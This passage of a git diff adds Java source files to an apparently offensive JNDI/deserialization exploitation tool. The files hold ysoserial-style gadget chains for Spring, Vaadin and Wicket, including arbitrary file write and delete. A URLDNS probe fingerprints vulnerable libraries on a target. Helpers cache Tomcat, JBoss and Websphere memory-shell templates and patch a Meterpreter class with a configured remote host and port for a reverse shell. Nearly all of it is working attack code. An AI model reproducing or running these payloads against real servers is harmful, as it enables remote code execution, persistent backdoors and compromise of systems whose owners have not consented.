"adapter_writeAdapterObject", + this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); + Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); + + return nativeJavaObject; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Spring1.java b/src/main/java/com/qi4l/jndi/gadgets/Spring1.java new file mode 100644 index 0000000..6b62277 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Spring1.java @@ -0,0 +1,74 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.springframework.beans.factory.ObjectFactory; + +import javax.xml.transform.Templates; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static java.lang.Class.forName; + +/** + * Gadget chain: + *

+ * ObjectInputStream.readObject() + * SerializableTypeWrapper.MethodInvokeTypeProvider.readObject() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.findMethod() + * SerializableTypeWrapper.TypeProvider(Proxy).getType() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * ReflectionUtils.invokeMethod() + * Method.invoke() + * Templates(Proxy).newTransformer() + * AutowireUtils.ObjectFactoryDelegatingInvocationHandler.invoke() + * ObjectFactory(Proxy).getObject() + * AnnotationInvocationHandler.invoke() + * HashMap.get() + * Method.invoke() + * TemplatesImpl.newTransformer() + * TemplatesImpl.getTransletInstance() + * TemplatesImpl.defineTransletClasses() + * TemplatesImpl.TransletClassLoader.defineClass() + * Pwner*(Javassist-generated). + * Runtime.exec() + */ +@SuppressWarnings({"rawtypes", "unused"}) +@Dependencies({"org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-beans:4.1.4.RELEASE"}) +@Authors({Authors.FROHOFF}) +public class Spring1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isAnnInvHUniversalMethodImpl(); + } + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + final ObjectFactory objectFactoryProxy = + Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class); + + final Type typeTemplatesProxy = Gadgets.createProxy((InvocationHandler) + Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler") + .newInstance(objectFactoryProxy), Type.class, Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); + final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass", new Class[]{}), 0); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Spring2.java b/src/main/java/com/qi4l/jndi/gadgets/Spring2.java new file mode 100644 index 0000000..ff2a77c --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Spring2.java @@ -0,0 +1,62 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.springframework.aop.framework.AdvisedSupport; +import org.springframework.aop.target.SingletonTargetSource; + +import javax.xml.transform.Templates; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Type; + +import static java.lang.Class.forName; + +/** + * Just a PoC to proof that the ObjectFactory stuff is not the real problem. + *

+ * Gadget chain: + * TemplatesImpl.newTransformer() + * Method.invoke(Object, Object...) + * AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[]) + * JdkDynamicAopProxy.invoke(Object, Method, Object[]) + * $Proxy0.newTransformer() + * Method.invoke(Object, Object...) + * SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream) + * + * @author mbechler + */ + +@Dependencies({ + "org.springframework:spring-core:4.1.4.RELEASE", "org.springframework:spring-aop:4.1.4.RELEASE", + // test deps + "aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2" +}) +@Authors({Authors.MBECHLER}) +public class Spring2 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + + AdvisedSupport as = new AdvisedSupport(); + as.setTargetSource(new SingletonTargetSource(templates)); + + final Type typeTemplatesProxy = Gadgets.createProxy( + (InvocationHandler) Reflections.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as), + Type.class, + Templates.class); + + final Object typeProviderProxy = Gadgets.createMemoitizedProxy( + Gadgets.createMap("getType", typeTemplatesProxy), + forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); + + Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider")); + Reflections.setFieldValue(mitp, "provider", typeProviderProxy); + Reflections.setFieldValue(mitp, "methodName", "newTransformer"); + + return mitp; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Spring3.java b/src/main/java/com/qi4l/jndi/gadgets/Spring3.java new file mode 100644 index 0000000..329298d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Spring3.java @@ -0,0 +1,22 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import org.springframework.transaction.jta.JtaTransactionManager; + +@Dependencies({"org.springframework:spring-tx:5.2.3.RELEASE", "org.springframework:spring-context:5.2.3.RELEASE", "javax.transaction:javax.transaction-api:1.2"}) +public class Spring3 implements ObjectPayload { + @Override + public Object getObject(String command) throws Exception { + + String jndiURL = null; + if (command.toLowerCase().startsWith("jndi:")) { + jndiURL = command.substring(5); + } else { + throw new Exception(String.format("Command [%s] not supported", command)); + } + + JtaTransactionManager manager = new JtaTransactionManager(); + manager.setUserTransactionName(jndiURL); + return manager; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/URLDNS.java b/src/main/java/com/qi4l/jndi/gadgets/URLDNS.java new file mode 100644 index 0000000..c72ff83 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/URLDNS.java @@ -0,0 +1,212 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; + +import java.lang.reflect.Field; +import java.net.URL; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; + +/** + * A blog post with more details about this gadget chain is at the url below: + * https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/ + *

+ * This was inspired by Philippe Arteau @h3xstream, who wrote a blog + * posting describing how he modified the Java Commons Collections gadget + * in ysoserial to open a URL. This takes the same idea, but eliminates + * the dependency on Commons Collections and does a DNS lookup with just + * standard JDK classes. + *

+ * The Java URL class has an interesting property on its equals and + * hashCode methods. The URL class will, as a side effect, do a DNS lookup + * during a comparison (either equals or hashCode). + *

+ * As part of deserialization, HashMap calls hashCode on each key that it + * deserializes, so using a Java URL object as a serialized key allows + * it to trigger a DNS lookup. + *

+ * Gadget Chain: + * HashMap.readObject() + * HashMap.putVal() + * HashMap.hash() + * URL.hashCode() + */ +@Dependencies() +@Authors({Authors.GEBL}) +public class URLDNS implements ObjectPayload { + public static String[] defaultClass = new String[]{ + "CommonsCollections13567", "CommonsCollections24", "CommonsBeanutils2", "C3P0", "AspectJWeaver", "bsh", + "Groovy", "Becl", "Jdk7u21", "JRE8u20", "winlinux", "jackson2100", "ROME", "SpringAOP"}; + + public static List list = new LinkedList(); + + public static Object getURLDNSGadget(String urls, String clazzName) throws Exception { + HashMap hashMap = new HashMap(); + URL url = new URL("http://" + urls); + Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); + f.setAccessible(true); + f.set(url, Integer.valueOf(0)); + Class clazz = null; + + if (clazzName != null) { + try { + clazz = com.qi4l.jndi.gadgets.utils.Utils.makeClass(clazzName); + } catch (Exception e) { + clazz = Class.forName(clazzName); + } + } + + hashMap.put(url, clazz); + f.set(url, Integer.valueOf(-1)); + return hashMap; + } + + public static void setList(String clazzName, String dnsLog) throws Exception { + + + switch (clazzName) { + case "CommonsCollections13567": + //CommonsCollections1/3/5/6/7链,需要<=3.2.1版本 + Object cc31or321 = getURLDNSGadget("cc31or321." + dnsLog, "org.apache.commons.collections.functors.ChainedTransformer"); + Object cc322 = getURLDNSGadget("cc322." + dnsLog, "org.apache.commons.collections.ExtendedProperties$1"); + list.add(cc31or321); + list.add(cc322); + break; + case "CommonsCollections24": + //CommonsCollections2/4链,需要4-4.0版本 + Object cc40 = getURLDNSGadget("cc40." + dnsLog, "org.apache.commons.collections4.functors.ChainedTransformer"); + Object cc41 = getURLDNSGadget("cc41." + dnsLog, "org.apache.commons.collections4.FluentIterable"); + list.add(cc40); + list.add(cc41); + break; + case "CommonsBeanutils2": + //CommonsBeanutils2链,serialVersionUID不同,1.7x-1.8x为-3490850999041592962,1.9x为-2044202215314119608 + Object cb17 = getURLDNSGadget("cb17." + dnsLog, "org.apache.commons.beanutils.MappedPropertyDescriptor$1"); + Object cb18x = getURLDNSGadget("cb18x." + dnsLog, "org.apache.commons.beanutils.DynaBeanMapDecorator$MapEntry"); + Object cb19x = getURLDNSGadget("cb19x." + dnsLog, "org.apache.commons.beanutils.BeanIntrospectionData"); + list.add(cb17); + list.add(cb18x); + list.add(cb19x); + break; + case "C3P0": + //c3p0,serialVersionUID不同,0.9.2pre2-0.9.5pre8为7387108436934414104,0.9.5pre9-0.9.5.5为7387108436934414104 + Object c3p092x = getURLDNSGadget("c3p092x." + dnsLog, "com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase"); + Object c3p095x = getURLDNSGadget("c3p095x." + dnsLog, "com.mchange.v2.c3p0.test.AlwaysFailDataSource"); + list.add(c3p092x); + list.add(c3p095x); + break; + case "AspectJWeaver": + //aspectjweaver,需要cc31 + Object ajw = getURLDNSGadget("ajw." + dnsLog, "org.aspectj.weaver.tools.cache.SimpleCache"); + list.add(ajw); + break; + case "bsh": + //bsh,serialVersionUID不同,2.0b4为4949939576606791809,2.0b5为4041428789013517368,2.0.b6无法反序列化 + Object bsh20b4 = getURLDNSGadget("bsh20b4." + dnsLog, "bsh.CollectionManager$1"); + Object bsh20b5 = getURLDNSGadget("bsh20b5." + dnsLog, "bsh.engine.BshScriptEngine"); + Object bsh20b6 = getURLDNSGadget("bsh20b6." + dnsLog, "bsh.collection.CollectionIterator$1"); + list.add(bsh20b4); + list.add(bsh20b5); + list.add(bsh20b6); + break; + case "Groovy": + //Groovy,1.7.0-2.4.3,serialVersionUID不同,2.4.x为-8137949907733646644,2.3.x为1228988487386910280 + Object groovy1702311 = getURLDNSGadget("groovy1702311." + dnsLog, "org.codehaus.groovy.reflection.ClassInfo$ClassInfoSet"); + Object groovy24x = getURLDNSGadget("groovy24x." + dnsLog, "groovy.lang.Tuple2"); + Object groovy244 = getURLDNSGadget("groovy244." + dnsLog, "org.codehaus.groovy.runtime.dgm$1170"); + list.add(groovy1702311); + list.add(groovy24x); + list.add(groovy244); + break; + case "Becl": + //Becl,JDK<8u251 + Object becl = getURLDNSGadget("becl." + dnsLog, "com.sun.org.apache.bcel.internal.util.ClassLoader"); + list.add(becl); + break; + case "Jdk7u21": + //JDK<=7u21 + Object Jdk7u21 = getURLDNSGadget("Jdk7u21." + dnsLog, "com.sun.corba.se.impl.orbutil.ORBClassLoader"); + list.add(Jdk7u21); + break; + case "JRE8u20": + //7u25<=JDK<=8u20,虽然叫JRE8u20其实JDK8u20也可以,这个检测不完美,8u25版本以及JDK<=7u21会误报,可综合Jdk7u21来看 + Object JRE8u20 = getURLDNSGadget("JRE8u20." + dnsLog, "javax.swing.plaf.metal.MetalFileChooserUI$DirectoryComboBoxModel$1"); + list.add(JRE8u20); + break; + case "winlinux": + //windows/linux版本判断 + Object linux = getURLDNSGadget("linux." + dnsLog, "sun.awt.X11.AwtGraphicsConfigData"); + Object windows = getURLDNSGadget("windows." + dnsLog, "sun.awt.windows.WButtonPeer"); + list.add(linux); + list.add(windows); + break; + case "jackson2100": + //jackson-databind>=2.10.0存在一个链 + Object jackson2100 = getURLDNSGadget("jackson2100." + dnsLog, "com.fasterxml.jackson.databind.node.NodeSerialization"); + list.add(jackson2100); + break; + case "fastjson": + Object fastjson = getURLDNSGadget("fastjson." + dnsLog, "com.alibaba.fastjson.JSONArray"); + list.add(fastjson); + break; + case "ROME": + //rome <= 1.11.1 + Object rome1000 = getURLDNSGadget("rome1000." + dnsLog, "com.sun.syndication.feed.impl.ToStringBean"); + Object rome1111 = getURLDNSGadget("rome1111." + dnsLog, "com.rometools.rome.feed.impl.ObjectBean"); + list.add(rome1000); + list.add(rome1111); + break; + case "SpringAOP": + //fastjon/jackson两个链的变种都需要springAOP + Object springAOP = getURLDNSGadget("SpringAOP." + dnsLog, "org.springframework.aop.target.HotSwappableTargetSource.HotSwappableTargetSource"); + list.add(springAOP); + break; + case "all": + for (int i = 0; i < defaultClass.length; i++) { + setList(defaultClass[i], dnsLog); + } + break; + default: + Object hm = getURLDNSGadget(clazzName.replace(".", "_").replace("$", "_") + "." + dnsLog, clazzName); + list.add(hm); + break; + } + } + + public Object getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String tYPE = command.substring(0, sep); + String url = command.substring(sep + 1); + + switch (tYPE) { + // common 时会测试不常被黑名单禁用的类 + case "common": + setList("CommonsBeanutils2", url); + setList("C3P0", url); + setList("AspectJWeaver", url); + setList("bsh", url); + setList("winlinux", url); + break; + + // all 会测试全部类 + case "all": + setList("all", url); + break; + + case "null": + return getURLDNSGadget(url, null); + // 默认指定类 + default: + setList(tYPE, url); + } + + return list; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Vaadin1.java b/src/main/java/com/qi4l/jndi/gadgets/Vaadin1.java new file mode 100644 index 0000000..93e2153 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Vaadin1.java @@ -0,0 +1,75 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.JavaVersion; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.vaadin.data.util.NestedMethodProperty; +import com.vaadin.data.util.PropertysetItem; + +import javax.management.BadAttributeValueExpException; + + +/** + * +-------------------------------------------------+ + * | | + * | BadAttributeValueExpException | + * | | + * | val ==> PropertysetItem | + * | | + * | readObject() ==> val.toString() | + * | + | + * +----------|--------------------------------------+ + * | + * | + * | + * +----|-----------------------------------------+ + * | v | + * | PropertysetItem | + * | | + * | toString () => getPropertyId().getValue () | + * | + | + * +---------------------------------------|------+ + * | + * +-----------------------------+ + * | + * +-----|----------------------------------------------+ + * | v | + * | NestedMethodProperty | + * | | + * | getValue() => java.lang.reflect.Method.invoke () | + * | | | + * +-------------------------------------------|--------+ + * | + * +-----------------------------------+ + * | + * +---|--------------------------------------------+ + * | v | + * | TemplatesImpl.getOutputProperties() | + * | | + * +------------------------------------------------+ + */ +@SuppressWarnings({"unused"}) +@Dependencies({"com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14"}) +@Authors({Authors.KULLRICH}) +public class Vaadin1 implements ObjectPayload { + public static boolean isApplicableJavaVersion() { + return JavaVersion.isBadAttrValExcReadObj(); + } + + @Override + public Object getObject(String command) throws Exception { + final Object templates; + templates = Gadgets.createTemplatesImpl(command); + PropertysetItem pItem = new PropertysetItem(); + + NestedMethodProperty nmprop = new NestedMethodProperty(templates, "outputProperties"); + pItem.addItemProperty("outputProperties", nmprop); + + BadAttributeValueExpException b = new BadAttributeValueExpException(""); + Reflections.setFieldValue(b, "val", pItem); + + return b; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Wicket1.java b/src/main/java/com/qi4l/jndi/gadgets/Wicket1.java new file mode 100644 index 0000000..96832a0 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Wicket1.java @@ -0,0 +1,102 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.wicket.util.io.DeferredFileOutputStream; +import org.apache.wicket.util.io.ThresholdingOutputStream; +import org.apache.wicket.util.upload.DiskFileItem; + +import java.io.File; +import java.io.IOException; +import java.io.OutputStream; +import java.util.Arrays; + +/** + * This gadget is almost identical to FileUpload1 since it appears + * that Apache Wicket copied a version of Apache Commons DiskFileItem + * prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That + * means that if the target is running less than Oracle Java 7 update 40 + * then the NULL byte attack is viable. Otherwise, copy and move attacks + * always work. + *

+ * This attack is valid for the 1.x and 6.x lines of Apache Wicket but + * was fixed in 1.5.16 and 6.24.0 (released July 2016). + *

+ *

+ * Arguments: + * - copyAndDelete;sourceFile;destDir + * - write;destDir;ascii-data + * - writeB64;destDir;base64-data + * - writeOld;destFile;ascii-data + * - writeOldB64;destFile;base64-data + *

+ * Example: + * Wicket1 "write;/tmp;blue lobster" + *

+ * Result: + * $ ls -l /tmp/ + * -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp + * blue lobster + */ +@Dependencies({"org.apache.wicket:wicket-util:6.23.0", "org.slf4j:slf4j-api:1.6.4"}) +@Authors({Authors.JACOBAINES}) +public class Wicket1 implements ReleaseableObjectPayload { + private static DiskFileItem copyAndDelete(String copyAndDelete, String copyTo) throws IOException, Exception { + return makePayload(0, copyTo, copyAndDelete, new byte[1]); + } + + // writes data to a random filename (update__.tmp) + private static DiskFileItem write(String dir, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, dir, dir + "/whatever", data); + } + + // writes data to an arbitrary file + private static DiskFileItem writeOldJRE(String file, byte[] data) throws IOException, Exception { + return makePayload(data.length + 1, file + "\0", file, data); + } + + private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception { + // if thresh < written length, delete outputFile after copying to repository temp file + // otherwise write the contents to repository temp file + File repository = new File(repoPath); + DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository, null); + File outputFile = new File(filePath); + DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile); + OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream"); + os.write(data); + Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length); + Reflections.setFieldValue(diskFileItem, "dfos", dfos); + Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0); + return diskFileItem; + } + + @Override + public DiskFileItem getObject(String command) throws Exception { + String[] parts = command.split(";"); + + if (parts.length != 3) { + throw new IllegalArgumentException("Bad command format."); + } + + if ("copyAndDelete".equals(parts[0])) { + return copyAndDelete(parts[1], parts[2]); + } else if ("write".equals(parts[0])) { + return write(parts[1], parts[2].getBytes("US-ASCII")); + } else if ("writeB64".equals(parts[0])) { + return write(parts[1], Base64.decodeBase64(parts[2])); + } else if ("writeOld".equals(parts[0])) { + return writeOldJRE(parts[1], parts[2].getBytes("US-ASCII")); + } else if ("writeOldB64".equals(parts[0])) { + return writeOldJRE(parts[1], Base64.decodeBase64(parts[2])); + } + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts)); + } + + @Override + public void release(DiskFileItem obj) throws Exception { + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java new file mode 100644 index 0000000..72741ba --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java @@ -0,0 +1,61 @@ +package com.qi4l.jndi.gadgets.annotation; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Authors { + + String FROHOFF = "frohoff"; + + String PWNTESTER = "pwntester"; + + String CSCHNEIDER4711 = "cschneider4711"; + + String MBECHLER = "mbechler"; + + String JACKOFMOSTTRADES = "JackOfMostTrades"; + + String MATTHIASKAISER = "matthias_kaiser"; + + String GEBL = "gebl"; + + String JACOBAINES = "jacob-baines"; + + String JASINNER = "jasinner"; + + String KULLRICH = "kai_ullrich"; + + String TINT0 = "_tint0"; + + String SCRISTALLI = "scristalli"; + + String HANYRAX = "hanyrax"; + + String EDOARDOVIGNATI = "EdoardoVignati"; + + String JANG = "Jang"; + + String ARTSPLOIT = "artsploit"; + String CCKUAILONG = "CCKUAILONG"; + String QI4L = "QI4L"; + String KILLER = "killer"; + + String[] value() default {}; + + class Utils { + + public static String[] getAuthors(AnnotatedElement annotated) { + Authors authors = annotated.getAnnotation(Authors.class); + if (authors != null && authors.value() != null) { + return authors.value(); + } else { + return new String[0]; + } + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Dependencies.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Dependencies.java new file mode 100644 index 0000000..dafd0de --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Dependencies.java @@ -0,0 +1,46 @@ +package com.qi4l.jndi.gadgets.annotation; + +import com.qi4l.jndi.gadgets.utils.Reflections; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.lang.reflect.AnnotatedElement; +import java.lang.reflect.Method; + +@Target(ElementType.TYPE) +@Retention(RetentionPolicy.RUNTIME) +public @interface Dependencies { + + + String[] value() default {}; + + public static class Utils { + + public static String[] getDependencies(AnnotatedElement annotated) { + Dependencies deps = annotated.getAnnotation(Dependencies.class); + if (deps != null && deps.value() != null) { + return deps.value(); + } else { + try { + Class name = Class.forName(Reflections.getFieldValue(annotated, "name").toString()); + Method m = name.getDeclaredMethod("getDependencies"); + m.setAccessible(true); + return (String[]) m.invoke(null); + } catch (Exception ignored) { + return new String[0]; + } + } + } + + public static String[] getDependenciesSimple(AnnotatedElement annotated) { + String[] deps = getDependencies(annotated); + String[] simple = new String[deps.length]; + for (int i = 0; i < simple.length; i++) { + simple[i] = deps[i].split(":", 2)[1]; + } + return simple; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ByteUtil.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ByteUtil.java new file mode 100644 index 0000000..21847c2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ByteUtil.java @@ -0,0 +1,91 @@ +package com.qi4l.jndi.gadgets.utils; + +import java.io.ByteArrayOutputStream; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; + +public class ByteUtil { + public static int getSubarrayIndex(byte[] haystack, byte[] needle) { + outer: + for (int i = 0; i <= haystack.length - needle.length; ++i) { + for (int j = 0; j < needle.length; ++j) { + if (haystack[i + j] != needle[j]) { + continue outer; + } + } + return i; + } + + return -1; + } + + public static byte[] deleteAt(byte[] bs, int index) { + int length = bs.length - 1; + byte[] ret = new byte[length]; + + if (index == bs.length - 1) { + System.arraycopy(bs, 0, ret, 0, length); + } else if (index < bs.length - 1) { + for (int i = index; i < length; i++) { + bs[i] = bs[i + 1]; + } + + System.arraycopy(bs, 0, ret, 0, length); + } + + return ret; + } + + public static byte[] addAtIndex(byte[] bs, int index, byte b) { + int length = bs.length + 1; + byte[] ret = new byte[length]; + + System.arraycopy(bs, 0, ret, 0, index); + ret[index] = b; + System.arraycopy(bs, index, ret, index + 1, length - index - 1); + + return ret; + } + + public static byte[] addAtLast(byte[] bs, byte b) { + int length = bs.length + 1; + byte[] ret = new byte[length]; + + System.arraycopy(bs, 0, ret, 0, length - 1); + ret[length - 1] = b; + + return ret; + } + + public static byte[] objectsToBytes(Object[] objs) throws Exception { + ByteArrayOutputStream baos = new ByteArrayOutputStream(); + DataOutputStream dos = new DataOutputStream(baos); + for (Object obj : objs) { + treatObject(dos, obj); + } + dos.close(); + return baos.toByteArray(); + } + + private static void treatObject(DataOutputStream dos, Object obj) + throws IOException { + if (obj instanceof Byte) { + dos.writeByte((Byte) obj); + } else if (obj instanceof Short) { + dos.writeShort((Short) obj); + } else if (obj instanceof Integer) { + dos.writeInt((Integer) obj); + } else if (obj instanceof Long) { + dos.writeLong((Long) obj); + } else if (obj instanceof String) { + dos.writeUTF((String) obj); + } else { + ByteArrayOutputStream ba = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(ba); + oos.writeObject(obj); + oos.close(); + dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java new file mode 100644 index 0000000..65443a3 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java @@ -0,0 +1,54 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.template.echo.Meterpreter; +import com.qi4l.jndi.template.echo.SpringEcho; +import com.qi4l.jndi.template.echo.TomcatEcho; +import com.qi4l.jndi.template.isOK; +import com.qi4l.jndi.template.isSuccess; +import com.qi4l.jndi.template.memshell.Websphere.WebsphereMemshellTemplate; +import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF; +import net.jodah.expiringmap.ExpirationPolicy; +import net.jodah.expiringmap.ExpiringMap; + +import java.util.concurrent.TimeUnit; + +public class Cache { + private static ExpiringMap map = ExpiringMap.builder() + .maxSize(1000) + .expiration(30, TimeUnit.SECONDS) + .variableExpiration() + .expirationPolicy(ExpirationPolicy.CREATED) + .build(); + + static { + try { + //过期时间100年,永不过期的简单方法 + map.put("TomcatEcho", Util.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("SpringEcho", Util.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("JBossMemshellTemplate", Util.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS); + map.put("WebsphereMemshellTemplate", Util.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); + map.put("isOK", Util.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); + //测试添加到cache中 + map.put("isSuccess", Util.getClassBytes(isSuccess.class), 365 * 100, TimeUnit.DAYS); + map.put("Meterpreter", ClassByteChange.update(Meterpreter.class), 365 * 100, TimeUnit.DAYS); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static byte[] get(String key) { + return map.get(key); + } + + public static void set(String key, byte[] bytes) { + map.put(key, bytes); + } + + public static boolean contains(String key) { + return map.containsKey(key); + } + + public static void remove(String key) { + map.remove(key); + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java new file mode 100644 index 0000000..0418b15 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java @@ -0,0 +1,64 @@ +package com.qi4l.jndi.gadgets.utils; + +import com.qi4l.jndi.gadgets.Config.Config; +import com.qi4l.jndi.template.echo.Meterpreter; +import javassist.*; + +import java.io.*; + +public class ClassByteChange { + + public static void main(String[] args) { + try { + update(Meterpreter.class); + } catch (NotFoundException e) { + e.printStackTrace(); + } catch (CannotCompileException e) { + e.printStackTrace(); + } catch (IOException e) { + e.printStackTrace(); + } + } + + //动态获取.class + public static byte[] update(Class clazz) throws NotFoundException, CannotCompileException, IOException { + + File dir = new File(""); + String ap = dir.getAbsolutePath(); + ap = ap + File.separatorChar + "data"; + ClassPool cPool = new ClassPool(true); + + //设置class文件的位置 + cPool.insertClassPath(ap); + + cPool.importPackage("java.io.DataInputStream"); + cPool.importPackage("java.io.InputStream"); + cPool.importPackage("java.net.Socket;"); + cPool.importPackage("java.io.OutputStream"); + cPool.importPackage("java.util.HashMap"); + //获取该class对象 + CtClass cClass = cPool.get("Meterpreter"); + //获取到对应的方法 + CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost"); + + cMethodHost.setBody("{ this.host = \"" + Config.rhost + "\";\n" + + " this.port = \"" + Config.rport + "\";}"); + + //替换原有的文件 + cClass.writeFile(ap); + InputStream in = new FileInputStream(ap + File.separatorChar + "Meterpreter.class"); + byte[] bytes = new byte[1024]; + ByteArrayOutputStream baous = new ByteArrayOutputStream(); + int len = 0; + while ((len = in.read(bytes)) != -1) { + baous.write(bytes, 0, len); + } + + in.close(); + baous.close(); + + return baous.toByteArray(); + + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassFiles.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassFiles.java new file mode 100644 index 0000000..1e8691a --- /dev/null +++ 